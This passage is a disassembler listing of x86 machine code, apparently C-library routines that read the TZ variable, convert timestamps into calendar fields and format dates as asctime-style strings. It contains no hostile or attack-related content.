loc_805ADFE:				; CODE XREF: sub_805AAC0+2FAj
		add	eax, 10h
		inc	[ebp+var_54]
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		cmp	[edi+8], ecx
		jg	loc_805AD78

loc_805AE13:				; CODE XREF: sub_805AAC0+2A7j
		test	ebx, ebx
		jz	loc_805AAED
		cmp	[ebp+var_4C], 0
		jz	loc_805AAED
		xor	ebx, ebx
		mov	[ebp+var_54], 0
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		cmp	[edi+4], ecx
		jle	loc_805AEBF
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805AE40:				; CODE XREF: sub_805AAC0+3C3j
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+var_54]
		movzx	eax, byte ptr [edi+ecx+5D8h]
		shl	eax, 4
		lea	edx, [ecx+eax+74Ch]
		mov	eax, [ecx+edi*4+10h]
		test	ebx, ebx
		jz	short loc_805AE6C
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_805AE6C
		add	eax, esi
		jmp	short loc_805AE6F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805AE6C:				; CODE XREF: sub_805AAC0+39Ej
					; sub_805AAC0+3A4j
		add	eax, [ebp+var_58]

loc_805AE6F:				; CODE XREF: sub_805AAC0+3A8j
		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		mov	[edi+ecx*4+10h], eax
		mov	ebx, [edx+4]
		inc	ecx
		mov	[ebp+var_54], ecx
		cmp	[edi+4], ecx
		jg	short loc_805AE40
		jmp	short loc_805AEBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AE88:				; CODE XREF: sub_805AAC0+92j
		mov	[ebp+var_40], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+8], 1
		mov	dword ptr [ecx+4], 0
		mov	edi, [ebp+var_4]
		neg	edi
		mov	[ecx+74Ch], edi
		mov	dword ptr [ecx+750h], 0
		mov	dword ptr [ecx+754h], 0

loc_805AEBF:				; CODE XREF: sub_805AAC0+26Dj
					; sub_805AAC0+377j ...
		mov	edi, [ebp+var_3C]
		inc	edi
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], edi
		cmp	[ebp+var_40], 0
		jz	short loc_805AED9
		mov	eax, [ecx+0Ch]
		inc	eax
		add	eax, [ebp+var_40]
		mov	[ecx+0Ch], eax

loc_805AED9:				; CODE XREF: sub_805AAC0+40Dj
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+0Ch], 33h
		ja	loc_805AAED
		mov	ebx, [ebp+arg_4]
		add	ebx, 174Ch
		mov	edi, [ebp+var_3C]
		push	edi
		mov	ecx, [ebp+var_34]
		push	ecx
		push	ebx
		call	strncpy
		add	ebx, edi
		mov	byte ptr [ebx],	0
		inc	ebx
		add	esp, 0Ch
		cmp	[ebp+var_40], 0
		jz	short loc_805AF1E
		mov	edi, [ebp+var_40]
		push	edi
		mov	ecx, [ebp+var_38]
		push	ecx
		push	ebx
		call	strncpy
		mov	byte ptr [edi+ebx], 0

loc_805AF1E:				; CODE XREF: sub_805AAC0+44Aj
		xor	eax, eax

loc_805AF20:				; CODE XREF: sub_805AAC0+32j
		lea	esp, [ebp+var_64]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805AAC0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805AF2C	proc near		; CODE XREF: sub_805AF5C+A0p
					; sub_805B010+25p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	offset unk_8068EA0
		call	sub_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_805AF52
		push	1
		push	ebx
		push	offset unk_8068EA0
		call	sub_805AAC0

loc_805AF52:				; CODE XREF: sub_805AF2C+17j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805AF2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805AF5C	proc near		; CODE XREF: sub_805B048+1Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset aTz	; "TZ"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805AF80
		call	sub_805B010
		jmp	loc_805B009
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805AF80:				; CODE XREF: sub_805AF5C+15j
		mov	ds:dword_807E300, 1
		cmp	byte ptr [ebx],	0
		jnz	short loc_805AFCC
		mov	ds:dword_807B0E0, 0
		mov	ds:dword_807B0E4, 0
		mov	ds:dword_807B82C, 0
		mov	ds:dword_807B834, 0
		push	offset unk_8068EA0
		push	offset unk_807C82C
		call	strcpy
		add	esp, 8
		jmp	short loc_805B004
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AFCC:				; CODE XREF: sub_805AF5C+31j
		push	offset dword_807B0E0
		push	ebx
		call	sub_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_805B004
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_805AFF7
		push	0
		push	offset dword_807B0E0
		push	ebx
		call	sub_805AAC0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_805B004

loc_805AFF7:				; CODE XREF: sub_805AF5C+85j
		push	offset dword_807B0E0
		call	sub_805AF2C
		add	esp, 4

loc_805B004:				; CODE XREF: sub_805AF5C+6Dj
					; sub_805AF5C+80j ...
		call	sub_805A11C

loc_805B009:				; CODE XREF: sub_805AF5C+1Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805AF5C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B010	proc near		; CODE XREF: sub_805AF5C+17p
		push	ebp
		mov	ebp, esp
		mov	ds:dword_807E300, 1
		push	offset dword_807B0E0
		push	0
		call	sub_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_805B03D
		push	offset dword_807B0E0
		call	sub_805AF2C
		add	esp, 4

loc_805B03D:				; CODE XREF: sub_805B010+1Ej
		call	sub_805A11C
		mov	esp, ebp
		pop	ebp
		retn
sub_805B010	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B048	proc near		; CODE XREF: sub_805B10C+Ep
					; sub_805B128+Ep
					; DATA XREF: ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		cmp	ds:dword_807E300, 0
		jnz	short loc_805B06A
		call	sub_805AF5C

loc_805B06A:				; CODE XREF: sub_805B048+1Bj
		mov	esi, offset dword_807B0E0
		cmp	ds:dword_807B0E4, 0
		jz	short loc_805B083
		mov	eax, [ebp+var_4]
		cmp	ds:dword_807B0F0, eax
		jle	short loc_805B0AC

loc_805B083:				; CODE XREF: sub_805B048+2Ej
		xor	eax, eax
		cmp	dword ptr [esi+750h], 0
		jz	short loc_805B0D0
		xor	edx, edx

loc_805B090:				; CODE XREF: sub_805B048+59j
		add	edx, 10h
		inc	eax
		cmp	[esi+8], eax
		jle	short loc_805B0A8
		cmp	dword ptr [edx+esi+750h], 0
		jnz	short loc_805B090
		jmp	short loc_805B0D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B0A8:				; CODE XREF: sub_805B048+4Fj
		xor	eax, eax
		jmp	short loc_805B0D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B0AC:				; CODE XREF: sub_805B048+39j
		mov	eax, 1
		cmp	[esi+4], eax
		jle	short loc_805B0C8
		mov	edx, [ebp+var_4]
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805B0BC:				; CODE XREF: sub_805B048+7Ej
		cmp	[esi+eax*4+10h], edx
		jg	short loc_805B0C8
		inc	eax
		cmp	[esi+4], eax
		jg	short loc_805B0BC

loc_805B0C8:				; CODE XREF: sub_805B048+6Cj
					; sub_805B048+78j
		movzx	eax, byte ptr [eax+esi+5D7h]

loc_805B0D0:				; CODE XREF: sub_805B048+44j
					; sub_805B048+5Bj ...
		mov	ebx, eax
		shl	ebx, 4
		lea	ebx, [esi+ebx+74Ch]
		push	edi
		push	esi
		mov	eax, [ebx]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_805B1C4
		mov	edx, [ebx+4]
		mov	[edi+20h], edx
		mov	eax, [ebx+8]
		add	eax, 174Ch
		add	esi, eax
		mov	dword_8078B1C[edx*4], esi
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B048	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B10C	proc near		; CODE XREF: sub_805B548+7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_807B06C
		push	0
		push	eax
		call	sub_805B048
		mov	eax, offset unk_807B06C
		mov	esp, ebp
		pop	ebp
		retn
sub_805B10C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B128	proc near		; CODE XREF: sub_805B560+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	0
		push	eax
		call	sub_805B048
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805B128	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B144	proc near		; CODE XREF: sub_805B18C+Ep
					; sub_805B1A8+Ep
					; DATA XREF: ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		cmp	ds:dword_807E304, 0
		jnz	short loc_805B173
		mov	ds:dword_807E304, 1
		push	offset unk_807C9F0
		call	sub_805AF2C
		add	esp, 4

loc_805B173:				; CODE XREF: sub_805B144+16j
		push	ebx
		push	offset unk_807C9F0
		push	esi
		push	edi
		call	sub_805B1C4
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B144	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B18C	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	0
		push	eax
		call	sub_805B144
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805B18C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B1A8	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_807B098
		push	0
		push	eax
		call	sub_805B144
		mov	eax, offset unk_807B098
		mov	esp, ebp
		pop	ebp
		retn
sub_805B1A8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B1C4	proc near		; CODE XREF: sub_805B048+9Dp
					; sub_805B144+37p

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		dec	ecx
		js	loc_805B363
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx]
		lea	edi, ds:0[ecx*8]
		mov	[ebp+var_C], edi
		add	edi, 0FFFFFFF8h
		mov	[ebp+var_10], edi
		mov	eax, [ebp+var_C]
		add	eax, 1780h
		mov	[ebp+var_1C], eax
		mov	ebx, ecx
		not	ebx
		mov	edx, ebx
		and	edx, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_805B25C
		test	edx, edx
		jz	short loc_805B27C
		cmp	edx, 3
		jge	short loc_805B25C
		cmp	edx, 2
		jge	short loc_805B245
		mov	edx, [ebp+arg_8]
		add	edx, eax
		cmp	[edx], esi
		jg	short loc_805B23C
		jnz	loc_805B349
		mov	edi, [ebp+var_8]
		jmp	loc_805B31F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B23C:				; CODE XREF: sub_805B1C4+66j
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx

loc_805B245:				; CODE XREF: sub_805B1C4+5Dj
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx

loc_805B25C:				; CODE XREF: sub_805B1C4+4Fj
					; sub_805B1C4+58j
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx
		js	loc_805B363
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805B27C:				; CODE XREF: sub_805B1C4+53j
					; sub_805B1C4+199j
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	eax, [ebp+var_1C]
		mov	ebx, [ebp+arg_8]
		lea	edx, [ebx+eax-8]
		cmp	[edx], esi
		jg	short loc_805B2CC
		jnz	loc_805B349
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_805B2B8
		cmp	dword ptr [edx+4], 0
		jg	loc_805B342

loc_805B2B8:				; CODE XREF: sub_805B1C4+E8j
		mov	ebx, [edx+4]
		mov	edi, [ebp+arg_8]
		mov	eax, [ebp+var_10]
		cmp	[eax+edi+1784h], ebx
		jge	short loc_805B349
		jmp	short loc_805B342
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B2CC:				; CODE XREF: sub_805B1C4+D7j
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	edi, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+edi-10h]
		cmp	[edx], esi
		jg	short loc_805B308
		jnz	short loc_805B349
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_805B2F2
		cmp	dword ptr [edx+4], 0
		jg	short loc_805B342

loc_805B2F2:				; CODE XREF: sub_805B1C4+126j
		mov	eax, [edx+4]
		mov	ebx, [ebp+arg_8]
		mov	edi, [ebp+var_10]
		cmp	[edi+ebx+1784h], eax
		jge	short loc_805B349
		jmp	short loc_805B342
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B308:				; CODE XREF: sub_805B1C4+119j
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	ebx, [ebp+var_1C]
		mov	edi, [ebp+arg_8]
		lea	edx, [edi+ebx-18h]
		cmp	[edx], esi
		jg	short loc_805B354

loc_805B31B:				; CODE XREF: sub_805B1C4+89j
					; sub_805B1C4+A0j ...
		cmp	[edx], esi
		jnz	short loc_805B349

loc_805B31F:				; CODE XREF: sub_805B1C4+71j
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_805B330
		cmp	dword ptr [edx+4], 0
		jg	short loc_805B342

loc_805B330:				; CODE XREF: sub_805B1C4+164j
		mov	edi, [edx+4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [ebp+var_10]
		cmp	[ebx+eax+1784h], edi
		jge	short loc_805B349

loc_805B342:				; CODE XREF: sub_805B1C4+EEj
					; sub_805B1C4+106j ...
		mov	[ebp+var_8], 1

loc_805B349:				; CODE XREF: sub_805B1C4+68j
					; sub_805B1C4+D9j ...
		mov	edx, [edx+4]
		mov	[ebp+var_4], edx
		jmp	short loc_805B363
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B354:				; CODE XREF: sub_805B1C4+155j
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFE0h
		dec	ecx
		jns	loc_805B27C

loc_805B363:				; CODE XREF: sub_805B1C4+1Dj
					; sub_805B1C4+AFj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	eax, edx
		mov	ebx, 15180h
		cdq
		idiv	ebx
		mov	esi, eax
		mov	edi, [ebp+arg_4]
		sub	edi, [ebp+var_4]
		mov	[ebp+var_C], edi
		add	edx, edi
		jns	short loc_805B397
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805B384:				; CODE XREF: sub_805B1C4+1C7j
		dec	esi
		add	edx, 15180h
		js	short loc_805B384
		jmp	short loc_805B397
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B390:				; CODE XREF: sub_805B1C4+1D9j
		add	edx, 0FFFEAE80h
		inc	esi

loc_805B397:				; CODE XREF: sub_805B1C4+1BBj
					; sub_805B1C4+1C9j
		cmp	edx, 1517Fh
		jg	short loc_805B390
		mov	eax, edx
		mov	ebx, 0E10h
		cdq
		idiv	ebx
		mov	ecx, eax
		mov	edi, [ebp+arg_C]
		mov	[edi+8], ecx
		mov	eax, edx
		mov	ebx, 3Ch
		cdq
		idiv	ebx
		mov	ecx, eax
		mov	[edi+4], ecx
		mov	[edi], edx
		cmp	[ebp+var_8], 0
		jz	short loc_805B3CA
		inc	dword ptr [edi]

loc_805B3CA:				; CODE XREF: sub_805B1C4+202j
		lea	edx, [esi+4]
		mov	eax, edx
		mov	ebx, 7
		cdq
		idiv	ebx
		mov	edi, [ebp+arg_C]
		mov	[edi+18h], edx
		test	edx, edx
		jge	short loc_805B3E5
		add	dword ptr [edi+18h], 7

loc_805B3E5:				; CODE XREF: sub_805B1C4+21Bj
		mov	[ebp+var_10], 7B2h
		test	esi, esi
		jl	short loc_805B438

loc_805B3F0:				; CODE XREF: sub_805B1C4+272j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_10]
		test	al, 3
		jnz	short loc_805B40A
		mov	ebx, 64h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B419

loc_805B40A:				; CODE XREF: sub_805B1C4+238j
		mov	eax, [ebp+var_10]
		mov	ebx, 190h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B420

loc_805B419:				; CODE XREF: sub_805B1C4+244j
		mov	[ebp+var_1C], 1

loc_805B420:				; CODE XREF: sub_805B1C4+253j
		mov	edi, [ebp+var_1C]
		cmp	ds:dword_8068F28[edi*4], esi
		jg	short loc_805B477
		inc	[ebp+var_10]
		sub	esi, ds:dword_8068F28[edi*4]
		jmp	short loc_805B3F0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B438:				; CODE XREF: sub_805B1C4+22Aj
					; sub_805B1C4+2B1j
		dec	[ebp+var_10]
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_10]
		test	al, 3
		jnz	short loc_805B455
		mov	ebx, 64h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B464

loc_805B455:				; CODE XREF: sub_805B1C4+283j
		mov	eax, [ebp+var_10]
		mov	ebx, 190h
		cdq
		idiv	ebx
		test	edx, edx
		jnz	short loc_805B46B

loc_805B464:				; CODE XREF: sub_805B1C4+28Fj
		mov	[ebp+var_1C], 1

loc_805B46B:				; CODE XREF: sub_805B1C4+29Ej
		mov	edi, [ebp+var_1C]
		add	esi, ds:dword_8068F28[edi*4]
		js	short loc_805B438

loc_805B477:				; CODE XREF: sub_805B1C4+266j
		mov	ebx, [ebp+var_10]
		add	ebx, 0FFFFF894h
		mov	eax, [ebp+arg_C]
		mov	[eax+14h], ebx
		mov	[eax+1Ch], esi
		mov	edi, [ebp+var_1C]
		add	edi, edi
		mov	eax, [ebp+var_1C]
		add	edi, eax
		shl	edi, 4
		mov	edx, edi
		add	edx, offset unk_8068EC8
		mov	ebx, [ebp+arg_C]
		mov	dword ptr [ebx+10h], 0
		cmp	dword ptr ds:unk_8068EC8[edi], esi
		jg	short loc_805B4C7

loc_805B4B0:				; CODE XREF: sub_805B1C4+301j
		mov	edi, [ebp+arg_C]
		mov	edi, [edi+10h]
		sub	esi, [edx+edi*4]
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax+10h]
		mov	ebx, [eax+10h]
		cmp	[edx+ebx*4], esi
		jle	short loc_805B4B0

loc_805B4C7:				; CODE XREF: sub_805B1C4+2EAj
		inc	esi
		mov	edi, [ebp+arg_C]
		mov	[edi+0Ch], esi
		mov	dword ptr [edi+20h], 0
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B1C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B4E0	proc near		; CODE XREF: sub_805B530+Cp
					; sub_805B560+1Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, 76Ch
		push	eax
		mov	eax, [edx]
		push	eax
		mov	eax, [edx+4]
		push	eax
		mov	eax, [edx+8]
		push	eax
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [edx+10h]
		lea	eax, [eax+eax*2]
		add	eax, offset aJanfebmaraprma ; "JanFebMarAprMayJunJulAugSepOctNovDec%.3"...
		push	eax
		mov	eax, [edx+18h]
		lea	eax, [eax+eax*2]
		add	eax, offset aSunmontuewedth ; "SunMonTueWedThuFriSat"
		push	eax
		push	8068F77h
		push	ebx
		call	sprintf
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805B4E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B530	proc near		; CODE XREF: sub_805B548+Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_807B0C4
		push	eax
		call	sub_805B4E0
		mov	esp, ebp
		pop	ebp
		retn
sub_805B530	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B548	proc near		; CODE XREF: sub_8054EC8+80p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_805B10C
		push	eax
		call	sub_805B530
		mov	esp, ebp
		pop	ebp
		retn
sub_805B548	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B560	proc near

var_2C		= byte ptr -2Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	edx
		lea	edx, [ebp+var_2C]
		push	edx
		push	eax
		call	sub_805B128
		add	esp, 8
		push	eax
		call	sub_805B4E0
		mov	esp, ebp
		pop	ebp
		retn
sub_805B560	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B584	proc near		; CODE XREF: sub_805B61C+30p
					; sub_805B61C+42p ...

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		cmp	[ecx], eax
		jl	short loc_805B5B4
		mov	ebx, [ecx]
		mov	eax, ebx
		cdq
		idiv	[ebp+arg_8]
		mov	edi, eax
		add	[esi], edi
		mov	ebx, [ecx]
		mov	eax, ebx
		cdq
		idiv	[ebp+arg_8]
		mov	esi, edx
		mov	[ecx], esi
		jmp	short loc_805B5D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B5B4:				; CODE XREF: sub_805B584+14j
		cmp	dword ptr [ecx], 0
		jge	short loc_805B5D3
		mov	eax, [ecx]
		inc	eax
		mov	ebx, [ebp+arg_8]
		sub	ebx, eax
		mov	eax, ebx
		cdq
		idiv	[ebp+arg_8]
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		imul	eax, ebx
		add	[ecx], eax
		sub	[esi], ebx

loc_805B5D3:				; CODE XREF: sub_805B584+2Ej
					; sub_805B584+33j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B584	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B5E0	proc near		; CODE XREF: sub_805B61C+1A9p
					; sub_805B61C+288p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		sub	eax, [edx+14h]
		jnz	short loc_805B615
		mov	eax, [ecx+10h]
		sub	eax, [edx+10h]
		jnz	short loc_805B615
